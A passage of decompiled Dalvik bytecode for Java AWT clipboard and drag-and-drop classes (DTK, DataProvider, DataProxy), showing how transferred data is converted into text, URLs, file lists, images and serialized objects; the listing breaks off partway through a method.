.method public declared-synchronized getSystemFlavorMap()SystemFlavorMap
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, DTK->systemFlavorMap:SystemFlavorMap
:6
00000006  monitor-exit            p0
00000008  return-object           v0
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public abstract initDragAndDrop()V
.end method

.method public initSystemFlavorMap(SystemFlavorMap)V
          .registers 5
00000000  invoke-virtual          DTK->getCharsets()[String, p0
00000006  move-result-object      v0
00000008  sget-object             v1, DataFlavor->stringFlavor:DataFlavor
0000000C  const-string            v2, "text/plain"
00000010  invoke-virtual          DTK->appendSystemFlavorMap(SystemFlavorMap, DataFlavor, String)V, p0, p1, v1, v2
00000016  const-string            v1, "plain"
0000001A  const-string            v2, "text/plain"
0000001E  invoke-virtual          DTK->appendSystemFlavorMap(SystemFlavorMap, [String, String, String)V, p0, p1, v0, v1, v2
00000024  const-string            v1, "html"
00000028  const-string            v2, "text/html"
0000002C  invoke-virtual          DTK->appendSystemFlavorMap(SystemFlavorMap, [String, String, String)V, p0, p1, v0, v1, v2
00000032  sget-object             v1, DataProvider->urlFlavor:DataFlavor
00000036  const-string            v2, "application/x-java-url"
0000003A  invoke-virtual          DTK->appendSystemFlavorMap(SystemFlavorMap, DataFlavor, String)V, p0, p1, v1, v2
00000040  const-string            v1, "uri-list"
00000044  const-string            v2, "application/x-java-url"
00000048  invoke-virtual          DTK->appendSystemFlavorMap(SystemFlavorMap, [String, String, String)V, p0, p1, v0, v1, v2
0000004E  sget-object             v0, DataFlavor->javaFileListFlavor:DataFlavor
00000052  const-string            v1, "application/x-java-file-list"
00000056  invoke-virtual          DTK->appendSystemFlavorMap(SystemFlavorMap, DataFlavor, String)V, p0, p1, v0, v1
0000005C  sget-object             v0, DataFlavor->imageFlavor:DataFlavor
00000060  const-string            v1, "image/x-java-image"
00000064  invoke-virtual          DTK->appendSystemFlavorMap(SystemFlavorMap, DataFlavor, String)V, p0, p1, v0, v1
0000006A  return-void
.end method

.method protected abstract newNativeClipboard()NativeClipboard
.end method

.method protected abstract newNativeSelection()NativeClipboard
.end method

.method public abstract runEventLoop()V
.end method

.method public declared-synchronized setSystemFlavorMap(SystemFlavorMap)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-object             p1, p0, DTK->systemFlavorMap:SystemFlavorMap
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

#--------------------------------------------------------------------------------
.class public abstract interface DataProvider
.super Object
.source ""

.field public static final FORMAT_FILE_LIST:String = "application/x-java-file-list"
.field public static final FORMAT_HTML:String = "text/html"
.field public static final FORMAT_IMAGE:String = "image/x-java-image"
.field public static final FORMAT_TEXT:String = "text/plain"
.field public static final FORMAT_URL:String = "application/x-java-url"
.field public static final TYPE_FILELIST:String = "application/x-java-file-list"
.field public static final TYPE_HTML:String = "text/html"
.field public static final TYPE_IMAGE:String = "image/x-java-image"
.field public static final TYPE_PLAINTEXT:String = "text/plain"
.field public static final TYPE_SERIALIZED:String = "application/x-java-serialized-object"
.field public static final TYPE_TEXTENCODING:String = "application/x-java-text-encoding"
.field public static final TYPE_URILIST:String = "text/uri-list"
.field public static final TYPE_URL:String = "application/x-java-url"
.field public static final uriFlavor:DataFlavor
.field public static final urlFlavor:DataFlavor

.method static constructor <clinit>()V
          .registers 3
00000000  new-instance            v0, DataFlavor
00000004  const-string            v1, "application/x-java-url;class=java.net.URL"
00000008  const-string            v2, "URL"
0000000C  invoke-direct           DataFlavor-><init>(String, String)V, v0, v1, v2
00000012  sput-object             v0, DataProvider->urlFlavor:DataFlavor
00000016  new-instance            v0, DataFlavor
0000001A  const-string            v1, "text/uri-list"
0000001E  const-string            v2, "URI"
00000022  invoke-direct           DataFlavor-><init>(String, String)V, v0, v1, v2
00000028  sput-object             v0, DataProvider->uriFlavor:DataFlavor
0000002C  return-void
.end method

.method public abstract getFileList()[String
.end method

.method public abstract getHTML()String
.end method

.method public abstract getNativeFormats()[String
.end method

.method public abstract getRawBitmap()RawBitmap
.end method

.method public abstract getSerializedObject(Class)[B
.end method

.method public abstract getText()String
.end method

.method public abstract getURL()String
.end method

.method public abstract isNativeFormatAvailable(String)Z
.end method

#--------------------------------------------------------------------------------
.class public final DataProxy
.super Object
.source ""

.implements Transferable

.field public static final charsetTextClasses:[Class
.field public static final unicodeTextClasses:[Class
.field private final data:DataProvider
.field private final flavorMap:SystemFlavorMap

.method static constructor <clinit>()V
          .registers 6
00000000  const/4                 v5, 0x3
00000002  const/4                 v4, 0x2
00000004  const/4                 v3, 0x1
00000006  const/4                 v2, 0x0
00000008  const/4                 v0, 0x4
0000000A  new-array               v0, v0, [Class
0000000E  const-class             v1, String
00000012  aput-object             v1, v0, v2
00000016  const-class             v1, Reader
0000001A  aput-object             v1, v0, v3
0000001E  const-class             v1, CharBuffer
00000022  aput-object             v1, v0, v4
00000026  const-class             v1, [C
0000002A  aput-object             v1, v0, v5
0000002E  sput-object             v0, DataProxy->unicodeTextClasses:[Class
00000032  new-array               v0, v5, [Class
00000036  const-class             v1, [B
0000003A  aput-object             v1, v0, v2
0000003E  const-class             v1, ByteBuffer
00000042  aput-object             v1, v0, v3
00000046  const-class             v1, InputStream
0000004A  aput-object             v1, v0, v4
0000004E  sput-object             v0, DataProxy->charsetTextClasses:[Class
00000052  return-void
.end method

.method public constructor <init>(DataProvider)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, DataProxy->data:DataProvider
0000000A  invoke-static           SystemFlavorMap->getDefaultFlavorMap()FlavorMap
00000010  move-result-object      v0
00000012  check-cast              v0, SystemFlavorMap
00000016  iput-object             v0, p0, DataProxy->flavorMap:SystemFlavorMap
0000001A  return-void
.end method

.method private createBufferedImage(RawBitmap)BufferedImage
          .registers 11
00000000  if-eqz                  p1, :1C
:4
00000004  iget-object             v0, p1, RawBitmap->buffer:Object
00000008  if-eqz                  v0, :1C
:C
0000000C  iget                    v0, p1, RawBitmap->width:I
00000010  if-lez                  v0, :1C
:14
00000014  iget                    v0, p1, RawBitmap->height:I
00000018  if-gtz                  v0, :20
:1C
0000001C  const/4                 v0, 0x0
:1E
0000001E  return-object           v0
:20
00000020  const/4                 v1, 0x0
00000022  const/4                 v0, 0x0
00000024  iget                    v2, p1, RawBitmap->bits:I
00000028  const/16                v3, 0x20
0000002C  if-ne                   v2, v3, :D2
:30
00000030  iget-object             v2, p1, RawBitmap->buffer:Object
00000034  instance-of             v2, v2, [I
00000038  if-eqz                  v2, :D2
:3C
0000003C  invoke-direct           DataProxy->isRGB(RawBitmap)Z, p0, p1
00000042  move-result             v0
00000044  if-nez                  v0, :58
:48
00000048  invoke-direct           DataProxy->isBGR(RawBitmap)Z, p0, p1
0000004E  move-result             v0
00000050  if-nez                  v0, :58
:54
00000054  const/4                 v0, 0x0
00000056  goto                    :1E
:58
00000058  const/4                 v0, 0x3
0000005A  new-array               v4, v0, [I
0000005E  const/4                 v0, 0x0
00000060  iget                    v1, p1, RawBitmap->rMask:I
00000064  aput                    v1, v4, v0
00000068  const/4                 v0, 0x1
0000006A  iget                    v1, p1, RawBitmap->gMask:I
0000006E  aput                    v1, v4, v0
00000072  const/4                 v0, 0x2
00000074  iget                    v1, p1, RawBitmap->bMask:I
00000078  aput                    v1, v4, v0
0000007C  iget-object             v0, p1, RawBitmap->buffer:Object
00000080  move-object             v1, v0
00000082  check-cast              v1, [I
00000086  new-instance            v6, DirectColorModel
0000008A  const/16                v0, 0x18
0000008E  iget                    v2, p1, RawBitmap->rMask:I
00000092  iget                    v3, p1, RawBitmap->gMask:I
00000096  iget                    v5, p1, RawBitmap->bMask:I
0000009A  invoke-direct           DirectColorModel-><init>(I, I, I, I)V, v6, v0, v2, v3, v5
000000A0  new-instance            v0, DataBufferInt
000000A4  array-length            v2, v1
000000A6  invoke-direct           DataBufferInt-><init>([I, I)V, v0, v1, v2
000000AC  iget                    v1, p1, RawBitmap->width:I
000000B0  iget                    v2, p1, RawBitmap->height:I
000000B4  iget                    v3, p1, RawBitmap->stride:I
000000B8  const/4                 v5, 0x0
000000BA  invoke-static/range     Raster->createPackedRaster(DataBuffer, I, I, I, [I, Point)WritableRaster, v0 .. v5
000000C0  move-result-object      v0
000000C2  move-object             v1, v0
000000C4  move-object             v2, v6
:C6
000000C6  if-eqz                  v2, :CE
:CA
000000CA  if-nez                  v1, :22E
:CE
000000CE  const/4                 v0, 0x0
000000D0  goto                    :1E
:D2
000000D2  iget                    v2, p1, RawBitmap->bits:I
000000D6  const/16                v3, 0x18
000000DA  if-ne                   v2, v3, :198
:DE
000000DE  iget-object             v2, p1, RawBitmap->buffer:Object
000000E2  instance-of             v2, v2, [B
000000E6  if-eqz                  v2, :198
:EA
000000EA  const/4                 v0, 0x3
000000EC  new-array               v2, v0, [I
000000F0  fill-array-data         v2, :248
000000F6  invoke-direct           DataProxy->isRGB(RawBitmap)Z, p0, p1
000000FC  move-result             v0
000000FE  if-eqz                  v0, :16C
:102
00000102  const/4                 v0, 0x3
00000104  new-array               v0, v0, [I
00000108  const/4                 v1, 0x1
0000010A  const/4                 v3, 0x1
0000010C  aput                    v3, v0, v1
00000110  const/4                 v1, 0x2
00000112  const/4                 v3, 0x2
00000114  aput                    v3, v0, v1
00000118  move-object             v8, v0
:11A
0000011A  iget-object             v0, p1, RawBitmap->buffer:Object
0000011E  move-object             v7, v0
00000120  check-cast              v7, [B
00000124  new-instance            v0, ComponentColorModel
00000128  const/16                v1, 0x3E8
0000012C  invoke-static           ColorSpace->getInstance(I)ColorSpace, v1
00000132  move-result-object      v1
00000134  const/4                 v3, 0x0
00000136  const/4                 v4, 0x0
00000138  const/4                 v5, 0x1
0000013A  const/4                 v6, 0x0
0000013C  invoke-direct/range     ComponentColorModel-><init>(ColorSpace, [I, Z, Z, I, I)V, v0 .. v6
00000142  new-instance            v1, DataBufferByte
00000146  array-length            v2, v7
00000148  invoke-direct           DataBufferByte-><init>([B, I)V, v1, v7, v2
0000014E  iget                    v2, p1, RawBitmap->width:I
00000152  iget                    v3, p1, RawBitmap->height:I
00000156  iget                    v4, p1, RawBitmap->stride:I
0000015A  const/4                 v5, 0x3
0000015C  const/4                 v7, 0x0
0000015E  move-object             v6, v8
00000160  invoke-static/range     Raster->createInterleavedRaster(DataBuffer, I, I, I, I, [I, Point)WritableRaster, v1 .. v7
00000166  move-result-object      v1
00000168  move-object             v2, v0
0000016A  goto                    :C6
:16C
0000016C  invoke-direct           DataProxy->isBGR(RawBitmap)Z, p0, p1
00000172  move-result             v0
00000174  if-eqz                  v0, :192
:178
00000178  const/4                 v0, 0x3
0000017A  new-array               v0, v0, [I
0000017E  const/4                 v1, 0x0
00000180  const/4                 v3, 0x2
00000182  aput                    v3, v0, v1
00000186  const/4                 v1, 0x1
00000188  const/4                 v3, 0x1
0000018A  aput                    v3, v0, v1
0000018E  move-object             v8, v0
00000190  goto                    :11A
:192
00000192  const/4                 v0, 0x0
00000194  goto/16                 :1E
:198
00000198  iget                    v2, p1, RawBitmap->bits:I
0000019C  const/16                v3, 0x10
000001A0  if-eq                   v2, v3, :1B0
:1A4
000001A4  iget                    v2, p1, RawBitmap->bits:I
000001A8  const/16                v3, 0xF
000001AC  if-ne                   v2, v3, :240
:1B0
000001B0  iget-object             v2, p1, RawBitmap->buffer:Object
000001B4  instance-of             v2, v2, [S
000001B8  if-eqz                  v2, :240
:1BC
000001BC  const/4                 v0, 0x3
000001BE  new-array               v4, v0, [I
000001C2  const/4                 v0, 0x0
000001C4  iget                    v1, p1, RawBitmap->rMask:I
000001C8  aput                    v1, v4, v0
000001CC  const/4                 v0, 0x1
000001CE  iget                    v1, p1, RawBitmap->gMask:I
000001D2  aput                    v1, v4, v0
000001D6  const/4                 v0, 0x2
000001D8  iget                    v1, p1, RawBitmap->bMask:I
000001DC  aput                    v1, v4, v0
000001E0  iget-object             v0, p1, RawBitmap->buffer:Object
000001E4  move-object             v1, v0
000001E6  check-cast              v1, [S
000001EA  new-instance            v6, DirectColorModel
000001EE  iget                    v0, p1, RawBitmap->bits:I
000001F2  iget                    v2, p1, RawBitmap->rMask:I
000001F6  iget                    v3, p1, RawBitmap->gMask:I
000001FA  iget                    v5, p1, RawBitmap->bMask:I
000001FE  invoke-direct           DirectColorModel-><init>(I, I, I, I)V, v6, v0, v2, v3, v5
00000204  new-instance            v0, DataBufferUShort
00000208  array-length            v2, v1
0000020A  invoke-direct           DataBufferUShort-><init>([S, I)V, v0, v1, v2
00000210  iget                    v1, p1, RawBitmap->width:I
00000214  iget                    v2, p1, RawBitmap->height:I
00000218  iget                    v3, p1, RawBitmap->stride:I
0000021C  const/4                 v5, 0x0
0000021E  invoke-static/range     Raster->createPackedRaster(DataBuffer, I, I, I, [I, Point)WritableRaster, v0 .. v5
00000224  move-result-object      v0
00000226  move-object             v1, v0
00000228  move-object             v2, v6
0000022A  goto/16                 :C6
:22E
0000022E  new-instance            v0, BufferedImage
00000232  const/4                 v3, 0x0
00000234  const/4                 v4, 0x0
00000236  invoke-direct           BufferedImage-><init>(ColorModel, WritableRaster, Z, Hashtable)V, v0, v2, v1, v3, v4
0000023C  goto/16                 :1E
:240
00000240  move-object             v2, v1
00000242  move-object             v1, v0
00000244  goto/16                 :C6
00000248  .array-data 4 x 0x3
              0x8
              0x8
              0x8
          .end array-data
.end method

.method private getCharset(DataFlavor)String
          .registers 3
00000000  const-string            v0, "charset"
00000004  invoke-virtual          DataFlavor->getParameter(String)String, p1, v0
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method private getFileList(DataFlavor)Object
          .registers 4
00000000  iget-object             v0, p0, DataProxy->data:DataProvider
00000004  const-string            v1, "application/x-java-file-list"
00000008  invoke-interface        DataProvider->isNativeFormatAvailable(String)Z, v0, v1
0000000E  move-result             v0
00000010  if-nez                  v0, :20
:14
00000014  new-instance            v0, UnsupportedFlavorException
00000018  invoke-direct           UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
0000001E  throw                   v0
:20
00000020  iget-object             v0, p0, DataProxy->data:DataProvider
00000024  invoke-interface        DataProvider->getFileList()[String, v0
0000002A  move-result-object      v0
0000002C  if-nez                  v0, :48
:30
00000030  new-instance            v0, IOException
00000034  const-string            v1, "awt.4F"
00000038  invoke-static           Messages->getString(String)String, v1
0000003E  move-result-object      v1
00000040  invoke-direct           IOException-><init>(String)V, v0, v1
00000046  throw                   v0
:48
00000048  invoke-static           Arrays->asList([Object)List, v0
0000004E  move-result-object      v0
00000050  return-object           v0
.end method

.method private getHTML(DataFlavor)Object
          .registers 4
00000000  iget-object             v0, p0, DataProxy->data:DataProvider
00000004  const-string            v1, "text/html"
00000008  invoke-interface        DataProvider->isNativeFormatAvailable(String)Z, v0, v1
0000000E  move-result             v0
00000010  if-nez                  v0, :20
:14
00000014  new-instance            v0, UnsupportedFlavorException
00000018  invoke-direct           UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
0000001E  throw                   v0
:20
00000020  iget-object             v0, p0, DataProxy->data:DataProvider
00000024  invoke-interface        DataProvider->getHTML()String, v0
0000002A  move-result-object      v0
0000002C  if-nez                  v0, :48
:30
00000030  new-instance            v0, IOException
00000034  const-string            v1, "awt.4F"
00000038  invoke-static           Messages->getString(String)String, v1
0000003E  move-result-object      v1
00000040  invoke-direct           IOException-><init>(String)V, v0, v1
00000046  throw                   v0
:48
00000048  invoke-direct           DataProxy->getTextRepresentation(String, DataFlavor)Object, p0, v0, p1
0000004E  move-result-object      v0
00000050  return-object           v0
.end method

.method private getImage(DataFlavor)Image
          .registers 4
00000000  iget-object             v0, p0, DataProxy->data:DataProvider
00000004  const-string            v1, "image/x-java-image"
00000008  invoke-interface        DataProvider->isNativeFormatAvailable(String)Z, v0, v1
0000000E  move-result             v0
00000010  if-nez                  v0, :20
:14
00000014  new-instance            v0, UnsupportedFlavorException
00000018  invoke-direct           UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
0000001E  throw                   v0
:20
00000020  iget-object             v0, p0, DataProxy->data:DataProvider
00000024  invoke-interface        DataProvider->getRawBitmap()RawBitmap, v0
0000002A  move-result-object      v0
0000002C  if-nez                  v0, :48
:30
00000030  new-instance            v0, IOException
00000034  const-string            v1, "awt.4F"
00000038  invoke-static           Messages->getString(String)String, v1
0000003E  move-result-object      v1
00000040  invoke-direct           IOException-><init>(String)V, v0, v1
00000046  throw                   v0
:48
00000048  invoke-direct           DataProxy->createBufferedImage(RawBitmap)BufferedImage, p0, v0
0000004E  move-result-object      v0
00000050  return-object           v0
.end method

.method private getPlainText(DataFlavor)Object
          .registers 4
00000000  iget-object             v0, p0, DataProxy->data:DataProvider
00000004  const-string            v1, "text/plain"
00000008  invoke-interface        DataProvider->isNativeFormatAvailable(String)Z, v0, v1
0000000E  move-result             v0
00000010  if-nez                  v0, :20
:14
00000014  new-instance            v0, UnsupportedFlavorException
00000018  invoke-direct           UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
0000001E  throw                   v0
:20
00000020  iget-object             v0, p0, DataProxy->data:DataProvider
00000024  invoke-interface        DataProvider->getText()String, v0
0000002A  move-result-object      v0
0000002C  if-nez                  v0, :48
:30
00000030  new-instance            v0, IOException
00000034  const-string            v1, "awt.4F"
00000038  invoke-static           Messages->getString(String)String, v1
0000003E  move-result-object      v1
00000040  invoke-direct           IOException-><init>(String)V, v0, v1
00000046  throw                   v0
:48
00000048  invoke-direct           DataProxy->getTextRepresentation(String, DataFlavor)Object, p0, v0, p1
0000004E  move-result-object      v0
00000050  return-object           v0
.end method

.method private getSerializedObject(DataFlavor)Object
          .registers 4
00000000  invoke-static           SystemFlavorMap->encodeDataFlavor(DataFlavor)String, p1
00000006  move-result-object      v0
00000008  if-eqz                  v0, :1C
:C
0000000C  iget-object             v1, p0, DataProxy->data:DataProvider
00000010  invoke-interface        DataProvider->isNativeFormatAvailable(String)Z, v1, v0
00000016  move-result             v0
00000018  if-nez                  v0, :28
:1C
0000001C  new-instance            v0, UnsupportedFlavorException
00000020  invoke-direct           UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
00000026  throw                   v0
:28
00000028  iget-object             v0, p0, DataProxy->data:DataProvider
0000002C  invoke-virtual          DataFlavor->getRepresentationClass()Class, p1
00000032  move-result-object      v1
00000034  invoke-interface        DataProvider->getSerializedObject(Class)[B, v0, v1
0000003A  move-result-object      v0
0000003C  if-nez                  v0, :58
:40
00000040  new-instance            v0, IOException
00000044  const-string            v1, "awt.4F"
00000048  invoke-static           Messages->getString(String)String, v1
0000004E  move-result-object      v1
00000050  invoke-direct           IOException-><init>(String)V, v0, v1
00000056  throw                   v0
:58
00000058  new-instance            v1, ByteArrayInputStream
0000005C  invoke-direct           ByteArrayInputStream-><init>([B)V, v1, v0
:62
00000062  new-instance            v0, ObjectInputStream
00000066  invoke-direct           ObjectInputStream-><init>(InputStream)V, v0, v1
0000006C  invoke-virtual          ObjectInputStream->readObject()Object, v0
:72
00000072  move-result-object      v0
00000074  return-object           v0
:76
00000076  move-exception          v0
00000078  new-instance            v1, IOException
0000007C  invoke-virtual          ClassNotFoundException->getMessage()String, v0
00000082  move-result-object      v0
00000084  invoke-direct           IOException-><init>(String)V, v1, v0
0000008A  throw                   v1
          .catch ClassNotFoundException {:62 .. :72} :76
.end method

.method private getTextRepresentation(String, DataFlavor)Object
          .registers 6
00000000  const/4                 v2, 0x0
00000002  invoke-virtual          DataFlavor->getRepresentationClass()Class, p2
00000008  move-result-object      v0
0000000A  const-class             v1, String
0000000E  if-ne                   v0, v1, :14
:12
00000012  return-object           p1
:14
00000014  invoke-virtual          DataFlavor->isRepresentationClassReader()Z, p2
0000001A  move-result             v0
0000001C  if-eqz                  v0, :2E
:20
00000020  new-instance            v0, StringReader
00000024  invoke-direct           StringReader-><init>(String)V, v0, p1
0000002A  move-object             p1, v0
0000002C  goto                    :12
:2E
0000002E  invoke-virtual          DataFlavor->isRepresentationClassCharBuffer()Z, p2
00000034  move-result             v0
00000036  if-eqz                  v0, :44
:3A
0000003A  invoke-static           CharBuffer->wrap(CharSequence)CharBuffer, p1
00000040  move-result-object      p1
00000042  goto                    :12
:44
00000044  invoke-virtual          DataFlavor->getRepresentationClass()Class, p2
0000004A  move-result-object      v0
0000004C  const-class             v1, [C
00000050  if-ne                   v0, v1, :72
:54
00000054  invoke-virtual          String->length()I, p1
0000005A  move-result             v0
0000005C  new-array               v0, v0, [C
00000060  invoke-virtual          String->length()I, p1
00000066  move-result             v1
00000068  invoke-virtual          String->getChars(I, I, [C, I)V, p1, v2, v1, v0, v2
0000006E  move-object             p1, v0
00000070  goto                    :12
:72
00000072  invoke-direct           DataProxy->getCharset(DataFlavor)String, p0, p2
00000078  move-result-object      v0
0000007A  invoke-virtual          DataFlavor->getRepresentationClass()Class, p2
00000080  move-result-object      v1
00000082  const-class             v2, [B
00000086  if-ne                   v1, v2, :94
:8A
0000008A  invoke-virtual          String->getBytes(String)[B, p1, v0
00000090  move-result-object      p1
00000092  goto                    :12
:94
00000094  invoke-virtual          DataFlavor->isRepresentationClassByteBuffer()Z, p2
0000009A  move-result             v1
0000009C  if-eqz                  v1, :B2
:A0
000000A0  invoke-virtual          String->getBytes(String)[B, p1, v0
000000A6  move-result-object      v0
000000A8  invoke-static           ByteBuffer->wrap([B)ByteBuffer, v0
000000AE  move-result-object      p1
000000B0  goto                    :12
:B2
000000B2  invoke-virtual          DataFlavor->isRepresentationClassInputStream()Z, p2
000000B8  move-result             v1
000000BA  if-eqz                  v1, :D2
:BE
000000BE  invoke-virtual          String->getBytes(String)[B, p1, v0
000000C4  move-result-object      v0
000000C6  new-instance            p1, ByteArrayInputStream
000000CA  invoke-direct           ByteArrayInputStream-><init>([B)V, p1, v0
000000D0  goto                    :12
:D2
000000D2  new-instance            v0, UnsupportedFlavorException
000000D6  invoke-direct           UnsupportedFlavorException-><init>(DataFlavor)V, v0, p2
000000DC  throw                   v0
.end method

.method private getURL(DataFlavor)Object
          .registers 5
00000000  iget-object             v0, p0, DataProxy->data:DataProvider
00000004  const-string            v1, "application/x-java-url"
00000008  invoke-interface        DataProvider->isNativeFormatAvailable(String)Z, v0, v1
0000000E  move-result             v0
00000010  if-nez                  v0, :20
:14
00000014  new-instance            v0, UnsupportedFlavorException
00000018  invoke-direct           UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
0000001E  throw                   v0
:20
00000020  iget-object             v0, p0, DataProxy->data:DataProvider
00000024  invoke-interface        DataProvider->getURL()String, v0
0000002A  move-result-object      v1
0000002C  if-nez                  v1, :48
:30
00000030  new-instance            v0, IOException
00000034  const-string            v1, "awt.4F"
00000038  invoke-static           Messages->getString(String)String, v1
0000003E  move-result-object      v1
00000040  invoke-direct           IOException-><init>(String)V, v0, v1
00000046  throw                   v0
:48
00000048  new-instance            v0, URL
0000004C  invoke-direct           URL-><init>(String)V, v0, v1
00000052  invoke-virtual          DataFlavor->getRepresentationClass()Class, p1
00000058  move-result-object      v1
0000005A  const-class             v2, URL
0000005E  invoke-virtual          Class->isAssignableFrom(Class)Z, v1, v2
00000064  move-result             v1
00000066  if-eqz                  v1, :6C
:6A
0000006A  return-object           v0
:6C
0000006C  invoke-virtual          DataFlavor->isFlavorTextType()Z, p1
00000072  move-result             v1
00000074  if-eqz                  v1, :8A
:78
00000078  invoke-virtual          URL->toString()String, v0
0000007E  move-result-object      v0
00000080  invoke-direct           DataProxy->getTextRepresentation(String, DataFlavor)Object, p0, v0, p1
00000086  move-result-object      v0
00000088  goto                    :6A
:8A
0000008A  new-instance            v0, UnsupportedFlavorException
0000008E  invoke-direct           UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
00000094  throw                   v0
.end method

.method private isBGR(RawBitmap)Z
          .registers 4
00000000  iget                    v0, p1, RawBitmap->rMask:I
00000004  const/16                v1, 0xFF
00000008  if-ne                   v0, v1, :2A
:C
0000000C  iget                    v0, p1, RawBitmap->gMask:I
00000010  const                   v1, 0xFF00
00000016  if-ne                   v0, v1, :2A
:1A
0000001A  iget                    v0, p1, RawBitmap->bMask:I
0000001E  const/high16            v1, 0xFF0000
00000022  if-ne                   v0, v1, :2A
:26
00000026  const/4                 v0, 0x1
:28
00000028  return                  v0
:2A
0000002A  const/4                 v0, 0x0
0000002C  goto                    :28
.end method

.method private isRGB(RawBitmap)Z
          .registers 4
00000000  iget                    v0, p1, RawBitmap->rMask:I
00000004  const/high16            v1, 0xFF0000
00000008  if-ne                   v0, v1, :2A
:C
0000000C  iget                    v0, p1, RawBitmap->gMask:I
00000010  const                   v1, 0xFF00
00000016  if-ne                   v0, v1, :2A
:1A
0000001A  iget                    v0, p1, RawBitmap->bMask:I
0000001E  const/16                v1, 0xFF
00000022  if-ne                   v0, v1, :2A
:26
00000026  const/4                 v0, 0x1
:28
00000028  return                  v0
:2A
0000002A  const/4                 v0, 0x0
0000002C  goto                    :28
.end method

.method public getDataProvider()DataProvider
          .registers 2
00000000  iget-object             v0, p0, DataProxy->data:DataProvider
00000004  return-object           v0
.end method

.method public getTransferData(DataFlavor)Object
          .registers 4
00000000  new-instance            v0, StringBuilder
00000004  invoke-virtual          DataFlavor->getPrimaryType()String, p1
0000000A  move-result-object      v1
0000000C  invoke-static           String->valueOf(Object)String, v1
00000012  move-result-object      v1
00000014  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000001A  const-string            v1, "/"
0000001E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000024  move-result-object      v0
00000026  invoke-virtual          DataFlavor->getSubType()String, p1
0000002C  move-result-object      v1
0000002E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000034  move-result-object      v0
00000036  invoke-virtual          StringBuilder->toString()String, v0
0000003C  move-result-object      v0
0000003E  invoke-virtual          DataFlavor->isFlavorTextType()Z, p1
00000044  move-result             v1
00000046  if-eqz                  v1, :88
:4A
0000004A  const-string            v1, "text/html"
0000004E  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
00000054  move-result             v1
00000056  if-eqz                  v1, :64
:5A
0000005A  invoke-direct           DataProxy->getHTML(DataFlavor)Object, p0, p1
00000060  move-result-object      v0
:62
00000062  return-object           v0
:64
00000064  const-string            v1, "text/uri-list"
00000068  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
0000006E  move-result             v0
00000070  if-eqz                  v0, :7E
:74
00000074  invoke-direct           DataProxy->getURL(DataFlavor)Object, p0, p1
0000007A  move-result-object      v0
0000007C  goto                    :62
:7E
0000007E  invoke-direct           DataProxy->getPlainText(DataFlavor)Object, p0, p1
00000084  move-result-object      v0
00000086  goto                    :62
:88
00000088  invoke-virtual          DataFlavor->isFlavorJavaFileListType()Z, p1
0000008E  move-result             v1
00000090  if-eqz                  v1, :9E
:94
00000094  invoke-direct           DataProxy->getFileList(DataFlavor)Object, p0, p1
0000009A  move-result-object      v0
0000009C  goto                    :62
:9E
0000009E  invoke-virtual          DataFlavor->isFlavorSerializedObjectType()Z, p1
000000A4  move-result             v1
000000A6  if-eqz                  v1, :B4
:AA
000000AA  invoke-direct           DataProxy->getSerializedObject(DataFlavor)Object, p0, p1
000000B0  move-result-object      v0
000000B2  goto                    :62
:B4
000000B4  sget-object             v1, DataProvider->urlFlavor:DataFlavor
000000B8  invoke-virtual          DataFlavor->equals(DataFlavor)Z, p1, v1
000000BE  move-result             v1
000000C0  if-eqz                  v1, :CE
:C4
000000C4  invoke-direct           DataProxy->getURL(DataFlavor)Object, p0, p1
000000CA  move-result-object      v0
000000CC  goto                    :62
:CE
000000CE  const-string            v1, "image/x-java-image"
000000D2  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000000D8  move-result             v0
000000DA  if-eqz                  v0, :100
:DE
000000DE  const-class             v0, Image
000000E2  invoke-virtual          DataFlavor->getRepresentationClass()Class, p1
000000E8  move-result-object      v1
000000EA  invoke-virtual          Class->isAssignableFrom(Class)Z, v0, v1
000000F0  move-result             v0
000000F2  if-eqz                  v0, :100
:F6
000000F6  invoke-direct           DataProxy->getImage(DataFlavor)Image, p0, p1
000000FC  move-result-object      v0
000000FE  goto                    :62
:100
00000100  new-instance            v0, UnsupportedFlavorException
00000104  invoke-direct           UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
0000010A  throw                   v0
.end method

.method public getTransferDataFlavors()[DataFlavor
          .registers 7
00000000  new-instance            v2, ArrayList
00000004  invoke-direct           ArrayList-><init>()V, v2
0000000A  iget-object             v0, p0, DataProxy->data:DataProvider
0000000E  invoke-interface        DataProvider->getNativeFormats()[String, v0
00000014  move-result-object      v3
00000016  const/4                 v0, 0x0
00000018  move                    v1, v0
:1A
0000001A  array-length            v0, v3
0000001C  if-lt                   v1, v0, :3A
:20
00000020  invoke-virtual          ArrayList->size()I, v2
00000026  move-result             v0
00000028  new-array               v0, v0, [DataFlavor
0000002C  invoke-virtual          ArrayList->toArray([Object)[Object, v2, v0
00000032  move-result-object      v0
00000034  check-cast              v0, [DataFlavor
00000038  return-object           v0
:3A
0000003A  iget-object             v0, p0, DataProxy->flavorMap:SystemFlavorMap
0000003E  aget-object             v4, v3, v1
00000042  invoke-virtual          SystemFlavorMap->getFlavorsForNative(String)List, v0, v4
00000048  move-result-object      v0
0000004A  invoke-interface        List->iterator()Iterator, v0
00000050  move-result-object      v4
:52
00000052  invoke-interface        Iterator->hasNext()Z, v4
00000058  move-result             v0
0000005A  if-nez                  v0, :66
:5E
0000005E  add-int/lit8            v0, v1, 0x1
00000062  move                    v1, v0
00000064  goto                    :1A
:66
